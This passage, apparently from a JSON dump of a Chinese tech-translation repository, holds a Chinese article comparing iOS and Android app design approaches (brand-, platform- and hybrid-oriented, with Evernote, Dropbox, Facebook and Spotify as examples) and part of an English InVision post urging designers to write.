Insights”](https://events.google.com/io/schedule/?sid=b187c653-5143-4b2d-addc-103e1f04fbc2#may-19) ，你可以获得更多的信息\n。我将会和 [The Fabulous](https://play.google.com/store/apps/details?id=co.thefabulous.app) 的 CEO Sami Ben Hassine 一起，讨论开发者如何才能应用行为观点来构建更多有吸引力的应用体验。\n\n* * *\n\n#### 你怎么想?\n\n你有关于在优化用户决定方面的问题或者想法吗？在下面评论区继续讨论或者通过井号标签 #AskPlayDev 通知我们，我们会在 [@GooglePlayDev](http://twitter.com/googleplaydev) （我们会定期分享在上面就如何在Google Play成功的话题分享新闻和小贴士）上回复。\n* * *\n\n_在我_ [第二篇博文](https://medium.com/googleplaydev/the-right-app-rewards-to-boost-motivation-c1ec86390450)_，我会解释一些行为改变第三步 —— 激发用户积极性的细节。我将探索积极性心理，它与游戏化的关系以及，正确的奖励方法。_\n\n_尤其感谢_ [Aaron Otani](https://medium.com/@aaronotani) _为写这篇博文草稿时提供的反馈。_\n\n---\n\n译者注：\n\n1. <a name=\"note1\"></a> 这篇文章是作者三部曲的第一篇，续集详见：[传送门](https://medium.com/googleplaydev/the-right-app-rewards-to-boost-motivation-c1ec86390450)\n2. <a name=\"note2\"></a> 原文为`motivated users`，此处翻译为积极用户，期待指正\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juej\n\n"
  },
  {
    "path": "TODO/designers-problem.md",
    "content": "> * 原文地址：[How to design a mobile app across OS platforms?](https://medium.com/@ooceanzou/designers-problem-d7f70d4f4d6c#.8mr6hednc)\n* 原文作者：[Ocean Zou](https://medium.com/@ooceanzou)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Kulbear](https://kulbear.github.io/)\n* 校对者：[siegeout](https://github.com/siegeout), [jiaowoyongqi](https://github.com/jiaowoyongqi)\n\n# 根据 OS 设计你的应用\n\n### 设计师们的难题\n\n***Android 和 iOS***[ 是市场上的两个主流操作系统](http://www.idc.com/prodserv/smartphone-os-market-share.jsp)。多数公司都会要求开发者开发对应的移动端应用。对于这些需要在两个平台上同时设计的应用，其中一个挑战就是在品牌一致性和平台的不同功能特性之间进行平衡。\n\n作为一名设计师，了解不同平台的设计惯例和行为才能在开始设计前更好的和开发者及股东们进行交流。这样，你的团队可以基于适配各个平台的优缺点来讨论决定开发计划（先开始 iOS 的开发，或者先开始 Android 的开发，或者同时进行两个平台的开发）。\n\n> 因此，在这里我将会比对苹果和谷歌这两个操作系统设计风格上的相似之处和不同之处。我将会挑选部分应用，分析其在这两个平台上设计的相似和不同。\n\n通过这样的比对，我们可以更好的理解在这两个平台上约定俗成的设计形式。同时还可以给予设计者／开发者们一些建议，帮他们决定将来的设计和开发策略——不论他们想要先开发某一平台或者并行开发。\n\n### 设计参考（指南）\n\n这一部分我们将会研究和探讨来自 [ Apple ](https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/MobileHIG/)和[ Google ](https://www.google.com/design/spec/material-design/introduction.html)的设计方针中的相似与不同。\n\n#### 谷歌的设计指南\n\n[Material Design](https://www.google.com/design/spec/material-design/introduction.html) 在 2014 年被谷歌提出并作为 5.0 版本及以上的 Android 系统中跨产品，跨平台设计的默认“视觉语言”。\n\n![](http://ac-Myg6wSTV.clouddn.com/5a25fa2885fcbf1a5e08.png)\n\n图表 1.1 各版本 Android 操作系统普及率\n\n基于来自 [android developer dashboard site](http://developer.android.com/about/dashboards/index.html) 的上图我们可以看出，Material Design 的普及率在 2015 年 10 月 5 日时仅仅有 24%。在 2014 年 11 月发布的时候, 它的用户有过一段迅猛增长。基于新的 Android 设备的普及率，Material Design 的普及率应该和未来[新增长的 Android 设备数量](http://www.idc.com/prodserv/smartphone-os-market-share.jsp)相似。因此，由于 Material Design 是 Google 为 Android 设备发布的最新设计框架，本文中对 Android 系统的设计研究将基于此。\n\n![](http://ac-Myg6wSTV.clouddn.com/53102f018f484dde50cf.png)\n\n图表 1.2 Material Design 的主要特征\n\n谷歌很好的定义了 Material Design。从图表 1.2 中我们能看出，如果你不熟悉材料设计，共有四个方面你需要特别注意。\n\n**深度 & 表面：** 你将会发现在 Android 中使用的效果是深经考究的，尤其是浮起的元素及其投影，都是为了表现不同界面元素之间的层级关系。\n\n**网格 and dpi（每英寸所打印的点数）：** Material Design 严格使用了独立于密度的像素网格系统（dp）。 根据 [google’s definition](https://www.google.com/design/spec/layout/units-measurements.html#units-measurements-density-independent-pixels-dp-)，dp 是一种灵活的像素单位，它可以自动按比例显示在任意屏幕上。在设计 Android 应用的时候，设计师们可以通过使用 dp 在不同像素密度的屏幕上显示同样比例的元素。在 Material Design 中，所有元素都依附在网格 8dp 宽的框架上, 这可以使不同应用间的视觉效果很有规律。比如，按钮一般都是高 48dp 的，[应用栏](https://www.google.com/design/spec/layout/structure.html#structure-app-bar)默认为 56dp，不同元素的间距总是 8dp 的倍数。\n\n**字体：** [Roboto](https://www.google.com/fonts/specimen/Roboto) 是 Android 的默认字体集，它包括了不同尺寸和[字重](https://www.google.com/fonts/specimen/Roboto+Condensed)的字体。此外，你还可以在你的应用中导入你自己的排版字体。\n\n**交互 & 运动：** Material Design 参考了很多用户使用动机和接触反应。根据图 1.3 中我们可以看出，当你点击某个元素时，接触点的四周将会扩散出波纹，如果你点击的是按钮，则按钮将会升起（一般通过加深阴影实现）来“靠近”你的手指。\n\n![](http://ac-Myg6wSTV.clouddn.com/ef8991f36a50b6877541.gif)\n\n图表 1.3 Material Design 交互\n\n![](http://ac-Myg6wSTV.clouddn.com/1b40487c14c76b73a321.png)\n\n图表 1.4, 各版本 iOS 的普及率\n\n#### Apple 设计指南\n\n和 Material Design 不同的是，Apple 很早就建立了自己的 iOS 设计框架。从图 1.3 中不难看出 iOS8 和 iOS9 占据了大多数用户。由于 iOS9 数月前刚刚发布，多数 iOS 应用还停留在 iOS8 的版本下。因此，此次我谈论的 iOS 设计将主要围绕 iOS8 和它的特性。\n\n参考阅读 [iOS 界面设计](https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/MobileHIG/)后，我针对 iOS 设计总结出如下几点：\n\n**扁平化设计：**它移除了任何给予组件 3D 效果的选择，比如阴影，纹理等。它专注于排版，颜色和组件之间的关系。\n\n**极简设计 & 功能：** iOS 的设计更专注于原始功能而非外观。简易的图标和布局最大程度上减少了用户使用手机时的认知成本。\n\n**直观的交互：**内置的应用使用了很多直观的设计，如压感反应，颜色，位置，有含义的图标和标志。用户不需要过多装饰就能明白屏幕上的某个元素是用来干什么的。比如，对于回到上一界面，多数用户会被暗示只需要在屏幕上轻轻从左向右滑动手指即可。\n\n**颜色 & 图片：**在 iOS 中，Apple 使用了颜色来指出交互和视觉上的连贯性。 设计师们被强烈建议使用颜色和图片来引导用户使用应用时的每一步操作。\n\n#### Apple 和 Google 的比较\n\n**用户界面元素**\n\n![](http://ac-Myg6wSTV.clouddn.com/775dce40405661b2b82f.png)\n\n图表 1.5 用户界面的比较\n\niOS 和 Android 平台在用户界面上有着明显的分别。根据图 1.4 不难看出，第一，iOS（左）和Android（右）的主要操作栏位于不同的位置。苹果系统将其放置于界面下方，而 Android 系统将其放置在上方导航条的下方。第二，两个平台都为回退功能设计了在左上的按钮，但在 Android 平台下这个是可选的，因为 Android 手机上自带了回退导航的按钮。第三，Material Design 常用一种类似“汉堡”的图标表示菜单栏，而 Apple 不常使用这种导航方式。第四，Material Design 允许浮动按钮作为快捷方式出现在界面上，并把卡片视图作为一个用户界面上重要的组件。\n\n**交互 & 运动**\n\n![](http://ac-Myg6wSTV.clouddn.com/3bbd8617f851fdb1ac5e.png)\n\n图表 1.6 交互设计上的比对\n\nAndroid 和 iOS 在交互设计上也很不一样。根据图 1.5 我们可以看出，第一，当 iOS 使用颜色变化或淡出来给交互提供反馈，Android 使用从你的手指扩散出的浮动的波纹（水面和光线的反馈）以及点击后会通过加深阴影上升“靠近”你手指的按钮（材质反馈） 。第二，Apple 谨慎的设计了动画，而 Material Design 对动画的设计更抓人眼球。在 Google 来看，丰富清晰的动态设计可以有效的引导用户的关注度。他们相信对于动态效果的应用可以更平滑的在不同导航界面间引导用户，解释屏幕上组件的改变，以及强调元素的优先级*（过渡）*。\n\n**视觉语言**\n\n![](http://ac-Myg6wSTV.clouddn.com/89cbb9564cdc61855a4b.png)\n\n图表 1.7 视觉设计的比对\n\nAndroid 和 iOS 在视觉设计上也大为不同。首先，在 Android 上，一个关键点是密度无关像素（常被缩写为 DIP 或 DP）的引入，而 iOS 只是使用点作为他们的单位。 这两种类型都能保证你的设计在不同密度大小的设备上能正常使用。第二，iOS 大量使用了模糊效果而 Android 选择使用了阴影。第三，iOS 使用三种标准尺寸（@1x，@2x，@3x）而 Android 有四种（normal，small，large，extra large）。\n\n### 移动端应用\n\n在了解 Material Design 和 iOS 设计的主要特点后。我研究了一些在 Android 或是 iOS 上有相似和不相似界面的应用。由于我不认识这些开发团队中的任何人，所以这一部分的总结来源于我的观察和猜测而非真实的开发决策。基于我的观察，对多平台设计应用通常有面向平台的，面向品牌的，以及混合的方法。我会在接下来解释每种方法并分析一些例子。\n\n#### 面向品牌的方法\n\n面向品牌的方法主要是使用在两种系统上使用自定义的用户界面来突出自己的品牌。为了贯彻这种方法，设计师们往往不会遵循标准的平台设计而去设计独特的用户界面并发布于两个平台。在这个分类下，VSCO CAM 和 Snapchat 不仅保持了品牌特性，并且都有独特的自定义界面。这一部分，我们将比对它们并研究它们的设计。\n\n> VSCO CAM\n\n![](http://ac-Myg6wSTV.clouddn.com/690e10db3d0181112c16.gif)\n\n图表 2.1 VSCO CAM — 探索页（左 iOS vs 右 Android）\n\nVSCO Cam 应用是一个现今流行的照片处理应用。刚开始它被发布于 iOS 平台 并在随后推出了 Android 版本。图 2.1 中可以看出， Android 上的界面和 iOS 上的几乎一样。同样的导航，菜单，甚至图标。更有趣的是，没有一个平台上的开发是遵循平台设计准则的。没有传统的动作条。在不同界面的转换需要通过一个不在通常位置的菜单完成。由于 VSCO Cam 完全“不管不顾”平台的设计准则而侧重于品牌特点，你可以很明显的感觉出在不同平台上他们所关注的品牌特点。\n\n![](http://ac-Myg6wSTV.clouddn.com/7f760c5880e1ea13e99e.gif)\n\n图表 2.2 VSCO CAM — 相机页（左 IOS vs 右 Android）\n\n虽然现在 iOS 和 Android 平台上的 VSCO CAM 看似很接近，但实际仍然有一些地方可以被区分开。比如，相机的界面都是原生平台的界面。\n\n> Snapchat\n\n![](https://cdn-images-1.medium.com/max/800/1*4uytqo55hEPhaLn2WSlrQw.gif)\n\n图表 2.3 Snapchat — 用户界面流（左 IOS vs 右 Android）\n\n如同 VSCO Cam 应用一样，Snapchat 很早发布在 App Store，很久之后才有 Android 版本（2011年）。交互的独特性和娱乐性让 Snapchat 脱颖而出，使它[拥有超过两亿的用户](http://www.businessinsider.com/snapchats-monthly-active-users-may-be-nearing-200-million-2014-12)。简单的拍摄并发送照片儿，优秀的颜色处理，平滑的过渡和动画效果构成了 Snapchat 的独特性。这种独一的交互是 Snapchat 的一大品牌特点，我们可以发现公司尝试统一在两个平台上的交互体验——界面看起来在两个平台上完全一样。从图 2.3 中看，Snapchat 在两个平台上有着相同的交互流程。首先用户进入相机界面，他们可以通过左滑进入朋友页或者右滑到“发现”页。此外，界面元素的设计和样式相似度很高，唯一的区别是标题和图标的位置与尺寸。\n\n总的来说，Snapchat 和 VSCO Cam 通过在不同平台上创建独特一致的用户界面来提升了品牌的独一性。然而，这样的方法也有着很多的缺点（一会再讨论）。现在，让我们来看看面向平台的方法。\n\n#### 面向平台的方法\n\n面向平台的方法是在设计的过程中遵守各个平台的设计准则。在这种情况下，产品设计人员的关注点从品牌特点转向了更贴近平台设计准则（因为用户习惯于自己使用的平台习惯）。他们更熟悉自己所使用平台的设计规则，所以一个专门为平台考虑的设计使他们更快接受你的应用。在这一类产品中，Evernote 和 Dropbox 是很好的例子。\n\n> Evernote\n\nEvernote 作为一个帮助提升用户效率的记录笔记的应用发布于 2007 年。\n\niOS 和 Android 版本的 Evernote 不论从 UI 还是 UX 来看都完全不一样。在两个平台上几乎每一部分都不一样，从登陆页，到菜单的设计，甚至一些界面元素。\n\n![](http://ac-Myg6wSTV.clouddn.com/e441197fed5eb967158f.gif)\n\n图表 2.4 Evernote 登陆页（左 iOS vs 右 Android）\n\n如同前面所提到的，在 iOS 版本上倾向于简洁的动画过渡，而 Android 版本上更多的动画效果致力于抓住用户的目光。从图 2.4 中看，两个平台上的登陆页遵循各自的设计准则而看起来完全不一样。这样的结果便是在 iOS 的登陆页上有着极少的图像设计和动画，而 Android 版本上有的动态风富的设计和动画。\n\n![](http://ac-Myg6wSTV.clouddn.com/81f08899ab7d034ad4fa.gif)\n\n图表 2.5 Evernote 主菜单（左 iOS vs 右 Android）\n\n菜单的设计也完全不一样。iOS 上的菜单有着全绿色的背景，占据了整页，这使它看起来像一个新页面而不是菜单。而和 iOS 版本不同的是， Android 版本中遵循了 Material Design 的准则，使用了“汉堡”菜单。这个菜单只占据了半页，用户可以很明确的知道他们所在的页面。这在页面转换之余给予了用户更明确的体验。此外，菜单的栏目在 Android 版本上由于更多的留白和信息优先级要更易读一些。\n\n![](http://ac-Myg6wSTV.clouddn.com/be827a16addd448cebfd.gif)\n\n图表 2.6 Evernote 动态交互（左 iOS vs 右 Android）\n\nEvernote 的设计师们还在每个平台上采用了原生的用户界面组件来执行同样的任务。从图 2.6 中可以见到，在 Android 版本中的添加按钮是一个在 Material Design 中传统的浮动按钮，而在 iOS 版本中添加按钮则被设计在了动作条上作为一个按钮——这在 iOS 的设计中十分常见。\n\n> Dropbox\n\nDropbox 是一个重视功能而非界面的实用应用程序。因此，它的设计师们决定严格遵守面向平台的方法，沿用原生设计准则，从而使界面和交互更易预测，对用户更友善。\n\n![](http://ac-Myg6wSTV.clouddn.com/fd2fc3dc962f9814f9e9.gif)\n\n图表 2.7 Dropbox 导航结构\n\n从图 2.7 中看，Dropbox 的 Android 和 iOS 版本使用了不同的方法来决定导航的优先级。iOS 版本中，它使用了底部的选项栏来完成在四个最高级的部分（文件，照片，离线文件，通知）之间切换。然而，Android 版本中这些都被隐藏在导航 drawer 中。从优先级角度来看，这是很大的差异。\n\n![](http://ac-Myg6wSTV.clouddn.com/41f45399d3e334894329.gif)\n\n图表 2.8 Dropbox 浮动按钮（左 iOS vs 右 Android）\n\nDropbox 的设计师们也对各自平台使用了各自规范的控制和体验交互元素。从图 2.8 来看， Android 的浮动动作条和 iOS 中的选项按钮各自被应用在其中关键的内容功能上。比如，*上传文件*，新建文件夹等等。这种对界面元素的应用不仅使两个平台上的功能保持高度一致，而且还符合各自的界面设计模式。\n\n![](http://ac-Myg6wSTV.clouddn.com/4cc916d24f5c47cf8ac7.gif)\n\n图表 2.9 Dropbox 登陆页（左 iOS vs 右 Android）\n\n除了 UI 和 UX 上的设计差异之外，图像设计，动画，包括写作在不同平台上也很不一样。从图 2.9 中我们可以看到，iOS 版本使用了最少的文字和图标，而 Android 版本上则重点照顾了视觉设计和动画。 Android 上也有更好的写作体验，让用户感觉被关注和重视。 \n\n总的来说，这两个公司都创建了高度面向平台的应用。然而，面向平台方法也有着很多的不足。现在我们先来看看最后一种方法：混合方法。\n\n#### 混合方法\n\n在多平台设计上应用混合方法往往是在以上提及的两种方法中寻求平衡，当然它也是最复杂的一种。在这种情况下，设计师需要考虑两种用户：熟悉你的产品的，和从未使用过你的产品的。第一种用户更贴近你的品牌，第二种用户更习惯于所使用的平台。混合方法的设计师是品牌兴趣和用户体验的外交官。他们需要找出哪些用户界面元素让它们的产品与众不同，还要找到针对平台同时不影响品牌效应的解决方案。这一类公司中，Facebook 和 Spotify 是我们将要讨论的例子。\n\n> Facebook\n\nFacebook 由于其品牌在多平台网络下大量的用户有着巨大的影响。这就是为什么结合品牌效应和平台适应性的混合方法看起来是最佳的选择。显而易见的，Facebook 使用了混合的方法。现在的 iOS 和 Android 端应用看起来很相似，但对每个平台的用户来说都十分“原生”。\n\n![](http://ac-Myg6wSTV.clouddn.com/76a10752b1df69d5e875.gif)\n\n图表 3.1 Facebook 布局（左 iOS vs 右 Android）\n\n第一眼看去，品牌的特点通过在不同平台使用同样的图标和颜色得以体现。Facebook 在这两个平台上的区别主要在于导航栏的位置。如你在图 3.1 中所见到的，iOS 版本使用的是标准的 iOS风格的导航栏和标准搜索栏。在 Android 平台下则是和多数应用一样，通过位于顶部的选择栏完成的。\n\n![](http://ac-Myg6wSTV.clouddn.com/6c7deac5dc7e72ba6495.gif)\n\n图表 3.3 Facebook 搜索栏（左 iOS vs 右 Android）\n\n在搜索栏上的导航按钮同样是针对每个平台的。从图 3.3 上看，iOS 上的 Facebook 应用有着一个取消键，在 Android 上这个取消键变成了一个 iOS 用户所不熟悉的箭头。这些针对平台的设计使新用户很容易能理解这些交互该如何完成。\n\n> Spotify\n\nSpotify 是一个流行的音乐播放应用，它有着针对品牌很鲜明的设计。他们的设计师侧重于品牌特点的设计，并遵循各个平台的设计准则来设计一些应用中特殊的功能。\n\n![](http://ac-Myg6wSTV.clouddn.com/52e9851376f9599abce7.gif)\n\n图表 3.4 Spotify Home Page（左 iOS vs 右 Android）\n\n第一眼观看图 3.4 就不难发现，Spotify 的设计师在统一两个平台上的界面和视觉设计上做的非常好。这个页面上的设计在两个平台上保持了高度的一致性。\n\n![](http://ac-Myg6wSTV.clouddn.com/d3f65a13207a69347547.gif)\n\n图表 3.6 Spotify 注册页\n\n尽管大力的贴近了品牌特点，Spotify 也迎合了用户在交互和界面上的预期，并且很多的应用了各个平台特色的用户界面组件。从图 3.6 中看，Spotify 对生日和性别信息的文本框设计在两个平台上是不一样的。在 iOS 上使用了传统的下拉菜单设计，而在 Android 上是一个弹出的菜单。卡片类的弹出菜单是 Material Design 的一个设计标准。\n\n![](http://ac-Myg6wSTV.clouddn.com/d71ea302d20a2924bf41.gif)\n\n消息和活动页面（左 iOS vs 右 Android）\n\n此外，内容的优先级设计在两个平台上也不太一样。从图 3.7 中看，在 iOS 上这一部分是在最高级菜单中的，而在 Android 版本中这两个部分被放在了一个叫“通知”的菜单选项中。Spotify 的设计师遵循了 Google 的设计来简化 Android 版本上的信息流。\n\n### 优势与缺陷\n\n经过了这些案例分析以后，我们会针对每种方法分析优势与缺点。在这部分，我会推荐在何种情况下一个公司最好使用哪种方法，并分析使用每种方法的优缺点。\n\n#### 面向品牌的方法\n\n专注于品牌而忽略平台规定的准则创建 UI 是最快，最容易，也是最经济的方法。这些 UI 组件将会自由的被设计创建，从而给予用户更个性化的设计和交互体验。由于没有遵循平台的设计准则，在多个平台上产品也可以给予用户同样的观感，帮助公司建立更好的品牌效应。然而，自定义的 UI 在开发过程中更难，需要公司比往常投入更多的精力。对于一些用户来说，可能还有体验上的问题，因为你们的界面和通用的界面并不相似。\n\n**推荐：**开发一个树立品牌的应用，并且将保持品牌一致性作为第一准则是没有任何问题的。\n\n#### 面向平台的方法\n\n因为开发人员熟悉每个平台的标准界面，面向平台的方法拥有更快的开发周期。当一个应用发布之后，用户很容易就能明确交互的方法和常见的方法很相似，更容易上手。但当你遵循平台的设计准则，在设计 UI 方面你需要投入更多的时间和金钱。设计师完成设计后，很多 UI 组件需要针对不同平台重新设计和创建。此外，当设计师遵循设计准则之后，所有东西都看起来像是 Google / Apple 制造了。看起来，对于想要树立品牌的公司来说，这个方法并不是十分实用的。\n\n**推荐：** 当你需要快速投放市场并快速的在激烈竞争的市场中抢占用户的时候，这个方法是最好的。\n\n#### 混合方法\n\n混合的方法在你需要用户体验为品牌代言时，是最佳的选择。我相信这是通往多平台适应的最佳路线。它允许设计师切身为平台，用户和品牌考虑。此外，这个方法可以让设计师很好的平衡诸如品牌和平台设计规则，从而发布优秀的产品。然而，混合方法由于在开发过程中经常需要变更，所以最长的时间和工作量去完成。对于没有足够的资金和时间的初创公司来说这样太难了。\n\n**推荐：**在我看来，如果设计师可以根据反馈和评估增加／改进产品的设计而没有太多的限制，这个方法是近乎完美的。\n\n### “如何下决定”的指导\n\n尽管多方面结合（上文所提的多种）的方法看起来是应选的路线，我还是要说文中所提的方法没有一种是完美的。有时，倾向于品牌效应而忽视的平台标准会造成一些“特别的”用户体验问题。而针对平台开发的方法，有时候看起来太刻板太标准化，对品牌提升没什么效果。我举例的这个使用混合方法开发的应用显然是一个多平台适应的成功案例。然而，这样的例子少之又少，因为它需要很多时间和投资的支持。\n\n因此，当我们考虑使用任何一种方法时，设计师都应该考虑产品设计的策略和实际开发中的限制（比如，缺少能胜任的开发人员，资金和时间上的限制等等）。当你身处一个小公司，团队需要极高的品牌效应的时候，面向品牌的方法显然是较好的（被推荐的）。从另一方面讲，当你的公司想要快速增增长用户的时候，面向平台开发的方法便是更好的。如果你的团队并没有什么明显的限制，而只是想要进一步提升你们的产品品质，那么混合的方法来开发是最好的。\n"
  },
  {
    "path": "TODO/designers-should-write.md",
    "content": "* 原文地址：[WRITE OR FADE AWAY AS A DESIGNER](http://blog.invisionapp.com/designers-should-write/)\n* 原文作者：[Michael Abehsera](http://blog.invisionapp.com/author/michael-abehsera/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n# WRITE OR FADE AWAY AS A DESIGNER\n\nEvery week a new article comes out preaching to designers the necessity of [learning to code](http://blog.invisionapp.com/becoming-a-designer-who-codes/), sales, or [insert new skill here]. If you don’t learn one of these indispensable skills, your career is bound to crash and burn. Why? Because of the looming AI insurgence or some other wacky theory.\n\nWhile these articles may be accurate (in a very far future), the main reason we spill these warnings and encourage the learning of new skills is either to earn extra cash, feel more secure in our own job, or to avoid a sense of [imposter syndrome](http://blog.invisionapp.com/overcoming-imposter-syndrome/).\n\n![des-write-1](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/des-write-1.png?ver=1)\n\nThe real question should be: What skill provides the biggest gains for the least amount of effort? And the answer is: Writing.\n\nDon’t believe me? Just read [what 5 top designers had to say about the importance of writing](https://twitter.com/intent/tweet?text=%22what+5+top+designers+had+to+say+about+the+importance+of+writing%22+http%3A%2F%2Fblog.invisionapp.com%2Fdesigners-should-write%2F+via+%40InVisionApp) (.inv-tweet .no-redirect target=inv-tweet no-redirect) and the effects it’s had on their careers.\n\n## Eyal Zuri: Writing doesn’t have to be serious ##\n\n![des-write-2](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/des-write-2.png?ver=1)\n\n[Eyal Zuri](https://dribbble.com/eyalz) is best known for [Muzli](https://muz.li/?__hstc=186349814.a0054baee1450d7b41d267e3c24b470f.1480689839481.1480689839481.1480689839481.1&amp;__hssc=186349814.1.1480689839482&amp;__hsfp=3354096619), which recently [joined InVision LABS](http://blog.invisionapp.com/invision-muzli/), partially due to Zuri’s consistent blogging. He publishes around 16 articles a month after looking for new ways to grow Muzli. Zuri quickly realized that creating great content is an easy way to generate more traffic.\n\n[This article](https://medium.muz.li/funniest-animated-gifs-from-2015-39a81ea278f1?__hstc=186349814.a0054baee1450d7b41d267e3c24b470f.1480689839481.1480689839481.1480689839481.1&amp;__hssc=186349814.1.1480689839482&amp;__hsfp=3354096619#.zcbfi8tzz) generated a lot of buzz, causing significant growth in all of our channels. It’s funny, lighthearted, and not binding, which are keys to a good article.\n\n“I don’t really write. My articles are based on inspiration only,” Zuri said. “It allows me to create a relatively large amount of content that people love to consume.”\n\n**Related: [Why writing should be part of your design portfolio](http://blog.invisionapp.com/writing-design-portfolio/)**\n\n## Paul Jarvis: Write to boost doing what you love ##\n\n![des-write-3](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/des-write-3.png?ver=1)\n\nAfter 20 years of designing, veteran designer [Paul Jarvis](https://pjrvs.com/) spends most of his time writing and teaching today. This isn’t surprising, since writing has made him [$400,000 in just 18 months](https://pjrvs.com/a/300k/). In fact, his most recent course sold out in minutes after writing just 1 newsletter.\n\nJarvis made excuses for years before deciding to blog.\n\n“To be honest, I made every excuse in the book to not write for years. I kept telling myself I wasn’t a writer, so I had no business writing,” Jarvis said. “Then I realized that was a total BS excuse. [All it takes to be a writer is to start writing.](https://twitter.com/intent/tweet?text=%22All+it+takes+to+be+a+writer+is+to+start+writing.%22+http%3A%2F%2Fblog.invisionapp.com%2Fdesigners-should-write%2F+via+%40InVisionApp) (.inv-tweet .no-redirect target=inv-tweet no-redirect) That’s it. So that’s what I did—starting my first book and a regular writing practice for articles. It snowballed from there, and now I spend as much or more time writing as I do designing.”\n\nSo how does a designer, who isn’t a writer, become such a damn good one? Jarvis, who still doesn’t consider himself a good writer today, says “Just write for the audience you want to have.”\n\n[“All it takes to be a writer is to start writing.”](https://twitter.com/intent/tweet?text=%22All+it+takes+to+be+a+writer+is+to+start+writing.%22+http%3A%2F%2Fblog.invisionapp.com%2Fdesigners-should-write%2F+via+%40InVisionApp) (.inv-tweet-sa .no-redirect target=inv-tweet-sa no-redirect)\n\n“Help them with the things they struggle with, worry about, or wish they knew more about. Don’t write for other designers unless they’re your target audience, and they probably aren’t,” Jarvis advises.\n\nAccording to Jarvis, his posts work because they aren’t specifically selling something.\n\n“My articles are entertaining and educational about a specific point, for a specific audience, so that I could paint a picture of what they were struggling with, help them in some small way, and then mention that if they needed further help, my paid courses were available.”\n\nBefore Jarvis the teacher, Jarvis the designer wrote posts for potential design clients, [like this one](https://pjrvs.com/a/ask/).\n\n“As my job changed to more of a teacher, articles that spoke directly to the pain I was trying to solve with the courses I teach help me sell those courses—[like this one](https://pjrvs.com/a/personal/) (used for [Chimp Essentials](https://chimpessentials.com/)) or [this one](https://pjrvs.com/a/master/) (used for [Creative Class](https://creativeclass.io/)).”\n\n## Nick Babich: Writing brings opportunities ##\n\n![des-write-4](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/des-write-4.png?ver=1)\n\nNick Babich, developer/designer hybrid, usually writes research-packed posts, based on his work experience.\n\nBabich tries to publish 6 articles, between 5 and 7 minutes long, every month. Why between 5 and 7 minutes? Because this way you only need to write the most important details, and also, because you don’t want readers to get bored.\n\nLike Jarvis, Babich’s writing has provided him with a multitude of opportunities, such as a speaking gig at [Push Conference](http://push-conference.com/2016/program/).\n\n“It was such an amazing event! I had a lot of inspiration and new ideas from this experience, and most of them will be in my future posts,” he said.\n\n## Matt West: Write about passions that outweigh the fear of writing ##\n\n![des-write-5](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/des-write-5.png?ver=1)\n\nMatt West, author of *[HTML5 Foundations](https://html5foundations.com/)*, tries to publish between 2 and 3 articles a month, but sometimes he goes for long periods of time without writing anything, when there just isn’t anything to share.\n\nWhile there are loads of books on how to improve your writing, West simply focuses on reading a lot.\n\n“Read the work of writers you admire, and pay attention to their use of language, how they structure sentences and how they present their ideas. [You can learn a lot by simply surrounding yourself with great work.](https://twitter.com/intent/tweet?text=%22You+can+learn+a+lot+by+simply+surrounding+yourself+with+great+work.%22+http%3A%2F%2Fblog.invisionapp.com%2Fdesigners-should-write%2F+via+%40InVisionApp) (.inv-tweet .no-redirect target=inv-tweet no-redirect)”\n\nFor a while, West lost his passion to write, when writing became more of a chore. It wasn’t until he was presented with the opportunity to author a book on HTML5 that his desire to share his knowledge outweighed his dislike of writing.\n\nWest recommends writing about topics you’re passionate about; not only will you do your best work, but you’ll also feel like you aren’t doing work at all.\n\n“Don’t try to please everyone, be opinionated, and stay focused on your core idea. If you put something out into the world, and nobody disagrees with you, then you’re probably not saying anything worthwhile.”\n\n## Andrew Graunke, Director of Design at Toptal ##\n\n![des-write-6](http://s3.amazonaws.com/blog.invisionapp.com/uploads/2016/11/des-write-6.png?ver=1)\n\nToptal’s Design Director Andrew Graunke connects the world’s top designers with businesses looking to hire. Graunke’s favorite part of writing is how it allows you to connect with new people.\n\n“By [proposing a new design for Crunchbase](https://www.toptal.com/designers/web/crunchbase-design-review), I was able to open a public dialogue with Crunchbase CEO Jager McConnell, who commented ‘…loved your blog post! Lots of good ideas in there—many of which depended on us building the search/list functionality we just launched with Pro. Exciting times ahead!’”\n\nWhile this may not seem like a huge deal to outsiders, it certainly does to Graunke.\n\n“The work I do takes buy-in from all parties, and even the smallest opportunities look like the biggest opportunities to me,” he said. “Will Jager McConnell leverage our Toptal network to build out design and dev teams? This one’s yet to be seen, and the hashtag’s on me.”\n\nThese are just some of the examples of designers getting great results by writing. I couldn’t interview myself but I got my current job as the Lead Editor of the design blog at Toptal by one of the founders of Toptal reading one of [my articles on Medium](https://medium.com/@michaelabehsera) and reaching out to me.\n\n## Challenge yourself to write ##\n\nThese are just a few examples of designers reaping great results from writing. Now, it’s your turn.\n\nPerhaps you can begin by leaving a thoughtful comment on someone else’s article.\n\nFrom there, challenge yourself to write an article of your own. Then write one more and another and another. You get the picture.\n\nThe most difficult part is starting, so don’t wait until you find the perfect idea. And don’t edit while you write, or you’ll drive yourself crazy.\n\n[The more you write, the easier it gets](https://twitter.com/intent/tweet?text=%22The+more+you+write%2C+the+easier+it+gets%22+http%3A%2F%2Fblog.invisionapp.com%2Fdesigners-should-write%2F+via+%40InVisionApp) (.inv-tweet .no-redirect target=inv-tweet no-redirect).\n\nTo get started, 